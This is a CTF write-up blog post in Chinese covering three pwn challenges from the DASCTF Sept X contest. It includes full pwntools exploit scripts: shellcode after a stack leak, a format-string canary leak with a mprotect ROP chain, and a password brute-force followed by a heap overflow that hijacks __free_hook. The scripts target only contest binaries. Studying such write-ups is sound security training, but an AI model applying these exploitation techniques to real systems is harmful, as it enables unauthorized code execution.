DASCTF Sept X 浙江工业大学秋季挑战赛

hehepwn

首先check一下安全防护机制,全红。

 分析程序,程序逻辑非常简单。

 思路首先通过strdup泄露栈地址,后面控制返回地址到栈上,执行shellcode。

from pwn import *
sh = process('./bypwn')
context(os='linux',arch='amd64',log_level='DEBUG')
#sh = remote('node4.buuoj.cn',25111)
pop_rdi = 0x0000000000400923
#gdb.attach(sh)
#pause()
sh.sendafter('input:\n','a'*30+'bb')
sh.recvuntil('bb')
leak_addr = u64(sh.recv(6).ljust(8,'\x00'))
print(hex(leak_addr-0x50))
shellcode = asm(shellcraft.cat('flag')).ljust(88,'a')
#payload = flat({0:asm(shellcraft.cat('/flag')), 0x58: leak_addr - 0x50})
payload = shellcode+p64(leak_addr-0x50)
sh.send(payload)
sh.interactive()

hahapwn

参考了一个很厉害的师傅写的wp,DASCTF-Sept-X-浙江工业大学秋季挑战赛-pwn-wp - LynneHuan - 博客园

check一下安全机制,开启了canary机制

然后分析程序,能明显看到有一个格式化字符串漏洞和一个栈溢出点

 查看禁用的函数,execve被禁用

 思路为:

  • 通过格式化字符串漏洞,泄露出canary的值和libc基址
  • 确定控制相应寄存器的gadget和函数的地址
  • 构造出ROP链(mprotect函数是用来给bss段可执行权限,这样就可以执行bss段中的shellcode)
  • 利用栈溢出写入ROP链
  • 最后发送shellcode(cat flag)

这里需要注意很多问题,记录几个主要的问题

1、无法使用ROPgadget寻找syscall,ret,原因不是很清楚,但是可以使用ropper找到

2、mprotect 函数修改权限时,修改的地址必须为内存页的起使地址,即低12位全为0,故需要将bss地址后12位置0

from pwn import *

#sh = process('./pwn')
sh = remote('node4.buuoj.cn',29752)
elf = ELF('./pwn')
libc= ELF('./libc.so.6')
context.arch='amd64'
read_addr = elf.plt['read']
puts_addr = elf.plt['puts']
bss_addr = elf.bss()
print(hex(bss_addr))
pop_rdi =0x0000000000021112
pop_rsi =0x00000000000202f8
pop_rdx =0x0000000000001b92
pop_rax =0x000000000003a738
int_0x80 = 0x00000000000bc3f5
context.log_level = 'DEBUG'
#gdb.attach(sh,'b *0x000000000040077C')
payload = 'aaaaaaaaaa%25$p%27$p%28$p'
sh.sendafter('name?\n',payload)
sh.recvuntil('aaaaaaaaaa')
setbuf = int(sh.recv(14),16)-324
canary = int(sh.recv(18),16)
ebp = int(sh.recv(14),16)-0xc0

libc_base = setbuf-libc.sym['setvbuf']
mprotect_addr = libc_base + libc.sym['mprotect']
libc_pop_rdi = libc_base +  pop_rdi
libc_pop_rsi = libc_base + pop_rsi
libc_pop_rdx = libc_base + pop_rdx
libc_pop_rax = libc_base + pop_rax
libc_call = libc_base + int_0x80
payload = 'a'*0x68+p64(canary)+'bbbbbbbb'
payload+=p64(libc_pop_rdi)+p64(0)+p64(libc_pop_rsi)+p64(bss_addr)+p64(libc_pop_rdx)+p64(0x200)+p64(read_addr)
#payload+=p64(libc_pop_rdi)+p64(bss_addr)+p64(puts_addr)
payload+=p64(libc_pop_rdi)+p64(bss_addr&~0xfff)+p64(libc_pop_rsi)+p64(0x1000)+p64(libc_pop_rdx)+p64(0x7)+p64(libc_pop_rax)+p64(10)
payload+=p64(libc_call)+p64(bss_addr)
payload=payload.ljust(0x200,'\x00')
sh.sendafter('you?\n',payload)
sh.send(asm(shellcraft.cat('./flag')))
sleep(1)
sh.interactive()

 datasystem

首先需要绕过一个验证,能很明显发现首先保证用户名不为admin,之后的判断需要s1和s2相等

利用ida调试输入123456时,s2的值为一个32位的字符串

 将这字符串复制当作密码输入,发现s2的开头为\x00

 于是猜想密码是否为32位,输入'a'*32和'b'*32,发现s2的开头均为\x00,只要爆破出使s1开头为\x00就可以绕过验证

爆破的脚本如下

import string
from pwn import *

context(os='linux',arch='amd64',log_level='error')
for password in range(0x100):
    password=password.to_bytes(1,byteorder='big')
    sh = process('./datasystem')
    sh.sendafter('please input username: ','admin\x00')
    sh.sendafter('please input password: ',password*32)
    error = sh.recvline()
    if b'Fail' not in error:
        print('password:',password)
        print('-----------------')
        print('-----------------')
    sh.close()

最后得到可行的两个密码

验证机制就可以绕过

分析程序,堆的菜单题,功能相对简单

 存在漏洞的点在add中,read输入函数的大小始终为506,存在溢出的风险

绕过验证后的整体思路为:

  • 申请一个unsortedbin,利用残存的地址泄露出libc地址
  • 溢出覆盖地址为__free_hook-0x200
  • 分配到地址__free_hook-0x200
  • 将__free_hook覆盖为setcontext+53
  • 在可执行可读可写的0x23330000写入shellcode,并且执行shellcode
    import string
    from pwn import *
    
    def add(size,content):
        sh.sendlineafter('>> :\n','1')
        sh.sendlineafter('Size: \n',str(size))
        sh.sendafter('your Content: \n',content)
    
    def delete(index):
        sh.sendlineafter('>> :\n','2')
        sh.sendlineafter('Index:\n',str(index))
    
    def show(index):
        sh.sendlineafter('>> :\n','3')
        sh.sendlineafter('Index:\n',str(index))
    
    context(os='linux',arch='amd64')
    sh = process('./datasystem')
    libc = ELF('./libc-2.27(2).so')
    sh.sendafter('please input username: ','admin\x00')
    sh.sendafter('please input password: ','c'*32)
    add(0x420,'a')#0
    add(0x10,'b')#1
    delete(0)
    add(0x8,'a'*8)#0
    show(0)
    libc_base=u64(sh.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x3EC090
    free_hook=libc_base+libc.sym['__free_hook']
    read_addr= libc_base+libc.sym['read']
    setcontext= libc_base+libc.sym['setcontext']
    add(0x20,'b')#2
    delete(2)
    delete(0)
    add(0x10,flat({0x10:[0,0x31,free_hook-0x200]}))#0
    add(0x20,'aaaa')#2
    payload = flat({0x200:setcontext+53,0x100:0x23330000,0xa0:free_hook-0x100,0xa8:read_addr,0x70:0x23330000,0x88:0x100,0x68:0},filler='\x00')
    add(0x20,payload)#3
    delete(3)
    sleep(1)
    sh.sendline(asm(shellcraft.cat('./flag')))
    sh.interactive()
    这里又学习到一个新的利用方式setcontext+53,通过大量控制寄存器来控制程序执行
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值